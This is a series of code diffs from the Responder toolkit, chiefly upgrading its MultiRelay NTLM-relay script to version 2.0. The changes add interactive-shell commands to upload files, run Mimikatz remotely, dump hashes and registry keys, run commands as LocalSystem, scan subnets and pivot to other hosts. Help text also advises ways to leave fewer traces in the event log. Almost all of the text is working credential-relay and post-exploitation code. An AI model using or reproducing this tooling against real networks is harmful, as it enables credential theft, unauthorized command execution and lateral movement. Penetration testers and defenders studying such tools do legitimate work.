Body = SMBSession1Data(NTLMSSPNtServerChallenge=settings.Config.Challenge)
Body = SMBSession1Data(NTLMSSPNtServerChallenge=Challenge)
Body.calculate()
Packet = str(Header)+str(Body)
@@ -313,7 +313,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
else:
# Parse NTLMSSP_AUTH packet
ParseSMBHash(data,self.client_address[0])
ParseSMBHash(data,self.client_address[0], Challenge)
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
# Send ACCOUNT_DISABLED to get multiple hashes if there are any
@@ -401,7 +401,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
try:
self.request.settimeout(0.5)
data = self.request.recv(1024)
Challenge = RandomChallenge()
if data[0] == "\x81": #session request 139
Buffer = "\x82\x00\x00\x00"
self.request.send(Buffer)
@@ -409,7 +409,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
if data[8:10] == "\x72\x00": #Negotiate proto answer.
head = SMBHeader(cmd="\x72",flag1="\x80", flag2="\x00\x00",pid=pidcalc(data),mid=midcalc(data))
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=settings.Config.Challenge)
Body = SMBNegoAnsLM(Dialect=Parse_Nego_Dialect(data),Domain="",Key=Challenge)
Body.calculate()
Packet = str(head)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
@@ -423,7 +423,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
self.request.send(Buffer)
else:
ParseLMNTHash(data,self.client_address[0])
ParseLMNTHash(data,self.client_address[0], Challenge)
head = SMBHeader(cmd="\x73",flag1="\x90", flag2="\x53\xc8",errorcode="\x22\x00\x00\xc0",pid=pidcalc(data),tid=tidcalc(data),uid=uidcalc(data),mid=midcalc(data))
Packet = str(head) + str(SMBSessEmpty())
Buffer = struct.pack(">i", len(''.join(Packet))) + Packet

View File

@@ -20,7 +20,7 @@ import subprocess
from utils import *
__version__ = 'Responder 2.3.3.0'
__version__ = 'Responder 2.3.3.6'
class Settings:
@@ -195,14 +195,19 @@ class Settings:
# Set up Challenge
self.NumChal = config.get('Responder Core', 'Challenge')
if self.NumChal.lower() == 'random':
self.NumChal = "random"
if len(self.NumChal) is not 16:
if len(self.NumChal) is not 16 and not "random":
print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1)
sys.exit(-1)
self.Challenge = ""
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
if self.NumChal.lower() == 'random':
pass
else:
for i in range(0, len(self.NumChal),2):
self.Challenge += self.NumChal[i:i+2].decode("hex")
# Set up logging
logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
@@ -222,12 +227,35 @@ class Settings:
self.AnalyzeLogger = logging.getLogger('Analyze Log')
self.AnalyzeLogger.addHandler(ALog_Handler)
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
try:
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
except:
try:
NetworkCard = subprocess.check_output(["ip", "address", "show"])
except subprocess.CalledProcessError as ex:
NetworkCard = "Error fetching Network Interfaces:", ex
pass
try:
DNS = subprocess.check_output(["cat", "/etc/resolv.conf"])
except subprocess.CalledProcessError as ex:
DNS = "Error fetching DNS configuration:", ex
pass
try:
RoutingInfo = subprocess.check_output(["netstat", "-rn"])
except:
try:
RoutingInfo = subprocess.check_output(["ip", "route", "show"])
except subprocess.CalledProcessError as ex:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))
except AttributeError as ex:
print "Missing Module:", ex
pass
def init():
global Config

View File

@@ -74,7 +74,7 @@ config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')])
DontRespondTo = filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')])
Interface = options.Interface
Responder_IP = FindLocalIP(Interface)
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = options.RouterIP
NETMASK = options.Netmask
DHCPSERVER = Responder_IP

View File

@@ -21,7 +21,7 @@ import struct
import socket
sys.path.insert(0, os.path.realpath(os.path.join(os.path.dirname(__file__), '..')))
from packets import SMB2Header, SMB2Nego, SMB2NegoData
from packets import SMBHeaderReq, SMB2NegoReq, SMB2NegoDataReq
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
@@ -43,8 +43,8 @@ def run(host):
s.connect(host)
s.settimeout(5)
Header = SMB2Header(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2Nego(Data = SMB2NegoData())
Header = SMBHeaderReq(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
Nego = SMB2NegoReq(Data = SMB2NegoDataReq())
Nego.calculate()
Packet = str(Header)+str(Nego)

View File

@@ -20,6 +20,8 @@ import os
import logging
import optparse
import time
import random
import subprocess
from threading import Thread
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, BaseRequestHandler
try:
@@ -28,29 +30,43 @@ except ImportError:
print "\033[1;31m\nCrypto lib is not installed. You won't be able to live dump the hashes."
print "You can install it on debian based os with this command: apt-get install python-crypto"
print "The Sam file will be saved anyway and you will have the bootkey.\033[0m\n"
try:
import readline
except:
print "Warning: readline module is not available, you will not be able to use the arrow keys for command history"
pass
from MultiRelay.RelayMultiPackets import *
from MultiRelay.RelayMultiCore import *
from SMBFinger.Finger import RunFinger
from SMBFinger.Finger import RunFinger,ShowSigning,RunPivotScan
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), '../')))
from socket import *
__version__ = "1.0"
__version__ = "2.0"
MimikatzFilename = "./MultiRelay/bin/mimikatz.exe"
RunAsFileName = "./MultiRelay/bin/Runas.exe"
SysSVCFileName = "./MultiRelay/bin/Syssvc.exe"
def UserCallBack(op, value, dmy, parser):
args=[]
for arg in parser.rargs:
if arg[0] != "-":
args.append(arg)
if arg[0] == "-":
break
if getattr(parser.values, op.dest):
args.extend(getattr(parser.values, op.dest))
setattr(parser.values, op.dest, args)
parser = optparse.OptionParser(usage="python %prog -t10.20.30.40 -u Administrator lgandx admin", version=__version__, prog=sys.argv[0])
parser = optparse.OptionParser(usage="\npython %prog -t 10.20.30.40 -u Administrator lgandx admin\npython %prog -t 10.20.30.40 -u ALL", version=__version__, prog=sys.argv[0])
parser.add_option('-t',action="store", help="Target server for SMB relay.",metavar="10.20.30.45",dest="TARGET")
parser.add_option('-p',action="store", help="Additional port to listen on, this will relay for proxy, http and webdav incoming packets.",metavar="8081",dest="ExtraPort")
parser.add_option('-u', '--UserToRelay', action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-u', '--UserToRelay', help="Users to relay. Use '-u ALL' to relay all users.", action="callback", callback=UserCallBack, dest="UserToRelay")
parser.add_option('-c', '--command', action="store", help="Single command to run (scripting)", metavar="whoami",dest="OneCommand")
parser.add_option('-d', '--dump', action="store_true", help="Dump hashes (scripting)", metavar="whoami",dest="Dump")
options, args = parser.parse_args()
@@ -65,29 +81,37 @@ if options.UserToRelay is None:
if options.ExtraPort is None:
options.ExtraPort = 0
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = options.TARGET, 445
Cmd = []
ShellOpen = []
if not os.geteuid() == 0:
print color("[!] MultiRelay must be run as root.")
sys.exit(-1)
OneCommand = options.OneCommand
Dump = options.Dump
ExtraPort = options.ExtraPort
UserToRelay = options.UserToRelay
Host = [options.TARGET]
Cmd = []
ShellOpen = []
Pivoting = [2]
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
def ShowWelcome():
print color('\nResponder MultiRelay to SMB NTLMv1/2',8,1)
print color('Version: '+__version__,8,1)
print color('\nResponder MultiRelay %s NTLMv1/2 Relay' %(__version__),8,1)
print '\nSend bugs/hugs/comments to: laurent.gaffie@gmail.com'
print 'Usernames to relay (-u) are case sensitive.'
print 'To kill this script hit CRTL-C.\n'
print color('/*',8,1)
print 'Use this script in combination with Responder.py for best results.'
print 'Make sure to set SMB and HTTP to OFF in Responder.conf.\n'
print 'This tool listen on TCP port 80, 3128 and 445.'
print 'Make sure nothing use these ports.\n'
print 'For optimal pwnage, launch Responder with only these 2 options:'
print '-rv\nRunning psexec style commands can be noisy in the event viewer,'
print 'if anyone ever reads it.. If you want to leave no trace in the'
print 'event viewer, use Responder\'s built-in commands. They silently'
print 'perform the tasks requested, including the hashdump command.'
print 'For optimal pwnage, launch Responder only with these 2 options:'
print '-rv\nAvoid running a command that will likely prompt for information like net use, etc.'
print 'If you do so, use taskkill (as system) to kill the process.'
print color('*/',8,1)
print color('\nRelaying credentials for these users:',8,1)
print color(UserToRelay,4,1)
print '\n'
@@ -101,6 +125,13 @@ def ShowHelp():
print color('regdump KEY',8,1)+' -> Dump an HKLM registry key (eg: regdump SYSTEM)'
print color('read Path_To_File',8,1)+' -> Read a file (eg: read /windows/win.ini)'
print color('get Path_To_File',8,1)+' -> Download a file (eg: get users/administrator/desktop/password.txt)'
print color('delete Path_To_File',8,1)+'-> Delete a file (eg: delete /windows/temp/executable.exe)'
print color('upload Path_To_File',8,1)+'-> Upload a local file (eg: upload /home/user/bk.exe), files will be uploaded in \\windows\\temp\\'
print color('runas Command',8,1)+' -> Run a command as the currently logged in user. (eg: runas whoami)'
print color('scan /24',8,1)+' -> Scan (Using SMB) this /24 or /16 to find hosts to pivot to'
print color('pivot IP address',8,1)+' -> Connect to another host (eg: pivot 10.0.0.12)'
print color('mimi command',8,1)+' -> Run a remote Mimikatz command (eg: mimi coffee)'
print color('lcmd command',8,1)+' -> Run a local command and display the result in MultiRelay shell (eg: lcmd ifconfig)'
print color('help',8,1)+' -> Print this message.'
print color('exit',8,1)+' -> Exit this shell and return in relay mode.'
print ' If you want to quit type exit and then use CRTL-C\n'
@@ -108,7 +139,14 @@ def ShowHelp():
Logs_Path = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/../"
Logs = logging
Logs.basicConfig(filemode="a",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
Logs.basicConfig(filemode="w",filename=Logs_Path+'logs/SMBRelay-Session.txt',level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
def UploadContent(File):
with file(File) as f:
s = f.read()
FileLen = len(s)
FileContent = s
return FileLen, FileContent
try:
RunFinger(Host[0])
@@ -133,19 +171,26 @@ def IsShellOpen():
else:
return True
#Function used to make sure no connections are accepted on HTTP and HTTP_Proxy while we are pivoting.
def IsPivotOn():
#While there's nothing in our array return false.
if Pivoting[0] == "2":
return False
#If there is return True.
if Pivoting[0] == "1":
return True
def ConnectToTarget():
try:
s = socket(AF_INET, SOCK_STREAM)
#Override TCP keep-alives
s.setsockopt(SOL_SOCKET, SO_KEEPALIVE, 1)
s.setsockopt(IPPROTO_TCP, TCP_KEEPCNT, 15)
s.setsockopt(IPPROTO_TCP, TCP_KEEPINTVL, 5)
s.setsockopt(IPPROTO_TCP, TCP_KEEPIDLE, 5)
s.connect(Host)
s.connect((Host[0],445))
return s
except:
"Cannot connect to target, host down?"
sys.exit(1)
try:
sys.exit(1)
print "Cannot connect to target, host down?"
except:
pass
class HTTPProxyRelay(BaseRequestHandler):
@@ -155,6 +200,8 @@ class HTTPProxyRelay(BaseRequestHandler):
#Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen():
return None
if IsPivotOn():
return None
except:
raise
@@ -196,7 +243,7 @@ class HTTPProxyRelay(BaseRequestHandler):
## Send HTTP Proxy
Buffer_Ans = WPAD_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -213,21 +260,22 @@ class HTTPProxyRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = SMBSessionSetupAndxAUTH(Data=NTLM_Auth)#Final relay.
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None:
s.close()
return None
s.close()
self.request.close()
return None
else:
##Any other type of request, send a 407.
@@ -248,6 +296,8 @@ class HTTPRelay(BaseRequestHandler):
#Don't handle requests while a shell is open. That's the goal after all.
if IsShellOpen():
return None
if IsPivotOn():
return None
except:
raise
@@ -290,7 +340,7 @@ class HTTPRelay(BaseRequestHandler):
## Send HTTP Response.
Buffer_Ans = IIS_NTLM_Challenge_Ans()
Buffer_Ans.calculate(str(ExtractRawNTLMPacket(smbdata)))#Retrieve challenge message from smb
key = ExtractHTTPChallenge(smbdata)#Grab challenge key for later use (hash parsing).
key = ExtractHTTPChallenge(smbdata,Pivoting)#Grab challenge key for later use (hash parsing).
self.request.send(str(Buffer_Ans)) #We send NTLM message 2 to the client.
data = self.request.recv(8092)
NTLM_Proxy_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
@@ -307,7 +357,7 @@ class HTTPRelay(BaseRequestHandler):
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host)
Username, Domain = ParseHTTPHash(NTLM_Auth, key, self.client_address[0],UserToRelay,Host[0],Pivoting)
if Username is not None:
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
@@ -320,8 +370,9 @@ class HTTPRelay(BaseRequestHandler):
smbdata = s.recv(2048)
RunCmd = RunShellCmd(smbdata, s, self.client_address[0], Host, Username, Domain)
if RunCmd is None:
s.close()
return None
s.close()
self.request.close()
return None
else:
##Any other type of request, send a 407.
@@ -346,7 +397,6 @@ class SMBRelay(BaseRequestHandler):
raise
s = ConnectToTarget()
try:
data = self.request.recv(4096)
@@ -362,7 +412,7 @@ class SMBRelay(BaseRequestHandler):
## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1:
## Start with nego protocol + session setup negotiate to our target.
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s)
data, smbdata, s, challenge = GrabNegotiateFromTarget(data, s, Pivoting)
## Make sure it's not a Kerberos auth.
if data.find("NTLM") is not -1:
@@ -388,21 +438,23 @@ class SMBRelay(BaseRequestHandler):
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
#data = self.request.recv(4096) ##Make him feel bad, ditch the connection.
s.close()
return None
else:
#Let's send that NTLM auth message to ParseSMBHash which will make sure this user is allowed to login
#and has not attempted before. While at it, let's grab his hash.
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host)
Username, Domain = ParseSMBHash(data,self.client_address[0],challenge,UserToRelay,Host[0],Pivoting)
if Username is not None:
##Got the ntlm message 3, send it over to SMB.
head = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x07\xc8",uid=smbdata[32:34],mid="\x03\x00")
t = data[36:]#Final relay.
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
print "[+] SMB Session Auth sent."
buffer1 = longueur(packet1)+packet1
if Pivoting[0] == "1":
pass
else:
print "[+] SMB Session Auth sent."
s.send(buffer1)
smbdata = s.recv(4096)
#We're all set, dropping into shell.
@@ -422,28 +474,44 @@ class SMBRelay(BaseRequestHandler):
buffer1 = longueur(packet1)+packet1
self.request.send(buffer1)
data = self.request.recv(4096)
s.close()
self.request.close()
return None
except Exception:
s.close()
self.request.close()
##No need to print anything (timeouts, rst, etc) to the user console..
pass
#Interface starts here.
def RunShellCmd(data, s, clientIP, Host, Username, Domain):
def RunShellCmd(data, s, clientIP, Target, Username, Domain):
#Let's declare our globals here..
#Pivoting gets used when the pivot cmd is used, it let us figure out in which mode is MultiRelay. Initial Relay or Pivot mode.
global Pivoting
#Update Host, when pivoting is used.
global Host
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
# On this block we do some verifications before dropping the user into the shell.
if data[8:10] == "\x73\x6d":
print "[+] Relay failed, Logon Failure. This user doesn't have an account on this target."
print "[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
if data[8:10] == "\x73\x8d":
print "[+] Relay failed, STATUS_TRUSTED_RELATIONSHIP_FAILURE returned. Credentials are good, but user is probably not using the target domain name in his credentials.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
if data[8:10] == "\x73\x5e":
print "[+] Relay failed, NO_LOGON_SERVER returned. Credentials are probably good, but the PDC is either offline or inexistant.\n"
del ShellOpen[:]
return False
## Ok, we are supposed to be authenticated here, so first check if user has admin privs on C$:
@@ -451,7 +519,7 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x73\x00":
GetSessionResponseFlags(data)#While at it, verify if the target has returned a guest session.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\C$")
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\C$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
@@ -460,34 +528,53 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
## Nope he doesn't.
if data[8:10] == "\x75\x22":
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Host[0]+":Logon Failure")
return False
if Pivoting[0] == "1":
pass
else:
print "[+] Relay Failed, Tree Connect AndX denied. This is a low privileged user or SMB Signing is mandatory.\n[+] Hashes were saved anyways in Responder/logs/ folder.\n"
Logs.info(clientIP+":"+Username+":"+Domain+":"+Target[0]+":Logon Failure")
del ShellOpen[:]
return False
# This one should not happen since we always use the IP address of the target in our tree connects, but just in case..
if data[8:10] == "\x75\xcc":
print "[+] Tree Connect AndX denied. Bad Network Name returned."
del ShellOpen[:]
return False
## Tree Connect on C$ is successfull.
if data[8:10] == "\x75\x00":
print "[+] Looks good, "+Username+" has admin rights on C$."
if Pivoting[0] == "1":
pass
else:
print "[+] Looks good, "+Username+" has admin rights on C$."
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
## Run one command.
if data[8:10] == "\x75\x00" and OneCommand != None or Dump:
print "[+] Authenticated."
if OneCommand != None:
print "[+] Running command: %s"%(OneCommand)
RunCmd(data, s, clientIP, Username, Domain, OneCommand, Logs, Target[0])
if Dump:
print "[+] Dumping hashes"
DumpHashes(data, s, Target[0])
os._exit(1)
## Drop into the shell.
if data[8:10] == "\x75\x00":
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
#Make sure we don't open 2 shell at the same time..
global ShellOpen
ShellOpen = ["Shell is open"]
if data[8:10] == "\x75\x00" and OneCommand == None:
if Pivoting[0] == "1":
pass
else:
print "[+] Authenticated.\n[+] Dropping into Responder's interactive shell, type \"exit\" to terminate\n"
ShowHelp()
print color('Connected to %s as LocalSystem.'%(Target[0]),2,1)
while True:
@@ -495,50 +582,153 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
if data[8:10] == "\x75\x00":
#start a thread for raw_input, so we can do other stuff while we wait for a command.
t = Thread(target=get_command, args=())
t.daemon = True
t.start()
t.join()
#For now, this is not functionning as expected. The SMB echos are killing the connection
#way faster than if we let the connection time_wait (after 2 tree connect [1 IPC & 1 C$]) itself.
#So let's use the tree connects wait (average time before timeout:5-12h)
"""
#Use SMB Pings to maintain our connection alive. Once in a while we perform a dumb read operation
#to maintain MultiRelay alive and well.
count = 0
DoEvery = random.randint(10, 45)
while any(x in Cmd for x in Cmd) is False:
count = count+1
SMBKeepAlive(s, data)
time.sleep(20)
pass
"""
if count == DoEvery:
DumbSMBChain(data, s, Target[0])
count = 0
if any(x in Cmd for x in Cmd) is True:
break
##Grab the commands. Cmd is global in get_command().
Read = re.findall(r'(?<=read )[^\r]*', Cmd[0])
RegDump = re.findall(r'(?<=regdump )[^\r]*', Cmd[0])
Get = re.findall(r'(?<=get )[^\r]*', Cmd[0])
Help = re.findall(r'(?<=help)[^\r]*', Cmd[0])
DumpReg = re.findall('^dump', Cmd[0])
Read = re.findall('^read (.*)$', Cmd[0])
RegDump = re.findall('^regdump (.*)$', Cmd[0])
Get = re.findall('^get (.*)$', Cmd[0])
Upload = re.findall('^upload (.*)$', Cmd[0])
Delete = re.findall('^delete (.*)$', Cmd[0])
RunAs = re.findall('^runas (.*)$', Cmd[0])
LCmd = re.findall('^lcmd (.*)$', Cmd[0])
Mimi = re.findall('^mimi (.*)$', Cmd[0])
Scan = re.findall('^scan (.*)$', Cmd[0])
Pivot = re.findall('^pivot (.*)$', Cmd[0])
Help = re.findall('^help', Cmd[0])
if Cmd[0] == "exit":
print "[+]Returning in relay mode."
print "[+] Returning in relay mode."
del Cmd[:]
del ShellOpen[:]
return None
##For all of the following commands we send the data (var:data) returned by the
##For all of the following commands we send the data (var: data) returned by the
##tree connect IPC$ answer and the socket (var: s) to our operation function in RelayMultiCore.
##We also clean up the command array when done.
if Cmd[0] == "dump":
data = DumpHashes(data, s, Host)
if DumpReg:
data = DumpHashes(data, s, Target[0])
del Cmd[:]
if Read:
File = Read[0]
data = ReadFile(data, s, File, Host)
data = ReadFile(data, s, File, Target[0])
del Cmd[:]
if Get:
File = Get[0]
data = GetAfFile(data, s, File, Host)
data = GetAfFile(data, s, File, Target[0])
del Cmd[:]
if Upload:
File = Upload[0]
if os.path.isfile(File):
FileSize, FileContent = UploadContent(File)
File = os.path.basename(File)
data = WriteFile(data, s, File, FileSize, FileContent, Target[0])
del Cmd[:]
else:
print File+" does not exist, please specify a valid file."
del Cmd[:]
if Delete:
Filename = Delete[0]
data = DeleteFile(data, s, Filename, Target[0])
del Cmd[:]
if RegDump:
Key = RegDump[0]
data = SaveAKey(data, s, Host, Key)
data = SaveAKey(data, s, Target[0], Key)
del Cmd[:]
if RunAs:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = RunAs[0]
data = RunAsCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0], FileName)
del Cmd[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if LCmd:
subprocess.call(LCmd[0], shell=True)
del Cmd[:]
if Mimi:
if os.path.isfile(MimikatzFilename):
FileSize, FileContent = UploadContent(MimikatzFilename)
FileName = os.path.basename(MimikatzFilename)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
Exec = Mimi[0]
data = RunMimiCmd(data, s, clientIP, Username, Domain, Exec, Logs, Target[0],FileName)
del Cmd[:]
else:
print MimikatzFilename+" does not exist, please specify a valid file."
del Cmd[:]
if Pivot:
if Pivot[0] == Target[0]:
print "[Pivot Verification Failed]: You're already on this host. No need to pivot."
del Pivot[:]
del Cmd[:]
else:
if ShowSigning(Pivot[0]):
del Pivot[:]
del Cmd[:]
else:
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
FileName = os.path.basename(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
RunAsPath = '%windir%\\Temp\\'+FileName
Status, data = VerifyPivot(data, s, clientIP, Username, Domain, Pivot[0], Logs, Target[0], RunAsPath, FileName)
if Status == True:
print "[+] Pivoting to %s."%(Pivot[0])
if os.path.isfile(RunAsFileName):
FileSize, FileContent = UploadContent(RunAsFileName)
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
#shell will close.
del ShellOpen[:]
#update the new host.
Host = [Pivot[0]]
#we're in pivoting mode.
Pivoting = ["1"]
data = PivotToOtherHost(data, s, clientIP, Username, Domain, Logs, Target[0], RunAsPath, FileName)
del Cmd[:]
s.close()
return None
if Status == False:
print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host."
del Cmd[:]
del Pivot[:]
else:
print RunAsFileName+" does not exist, please specify a valid file."
del Cmd[:]
if Scan:
LocalIp = FindLocalIp()
Range = ConvertToClassC(Target[0], Scan[0])
RunPivotScan(Range, Target[0])
del Cmd[:]
if Help:
@@ -548,26 +738,35 @@ def RunShellCmd(data, s, clientIP, Host, Username, Domain):
##Let go with the command.
if any(x in Cmd for x in Cmd):
if len(Cmd[0]) > 1:
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Host)
del Cmd[:]
if os.path.isfile(SysSVCFileName):
FileSize, FileContent = UploadContent(SysSVCFileName)
FileName = os.path.basename(SysSVCFileName)
RunPath = '%windir%\\Temp\\'+FileName
data = WriteFile(data, s, FileName, FileSize, FileContent, Target[0])
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:]
else:
print SysSVCFileName+" does not exist, please specify a valid file."
del Cmd[:]
if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure the server (\\Windows\\Temp\\) is clean\033[0m\n"
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n"
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBTreeConnectData(Path="\\\\"+Host[0]+"\\IPC$")#
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(2048)
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
class ThreadingTCPServer(TCPServer):
def server_bind(self):
TCPServer.server_bind(self)
ThreadingTCPServer.allow_reuse_address = 1
ThreadingTCPServer.daemon_threads = True
def serve_thread_tcp(host, port, handler):
try:
@@ -591,7 +790,12 @@ def main():
while True:
time.sleep(1)
except KeyboardInterrupt:
except (KeyboardInterrupt, SystemExit):
##If we reached here after a MultiRelay shell interaction, we need to reset the terminal to its default.
##This is a bug in python readline when dealing with raw_input()..
if ShellOpen:
os.system('stty sane')
##Then exit
sys.exit("\rExiting...")
if __name__ == '__main__':

File diff suppressed because it is too large Load Diff

View File

@@ -460,7 +460,42 @@ class SMBTreeConnectData(Packet):
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc","\x00\x00"),
])
class SMBNTCreateData(Packet):
fields = OrderedDict([
("Wordcount", "\x18"),
("AndXCommand", "\xff"),
("Reserved", "\x00" ),
("Andxoffset", "\x00\x00"),
("Reserved2", "\x00"),
("FileNameLen", "\x07\x00"),
("CreateFlags", "\x16\x00\x00\x00"),
("RootFID", "\x00\x00\x00\x00"),
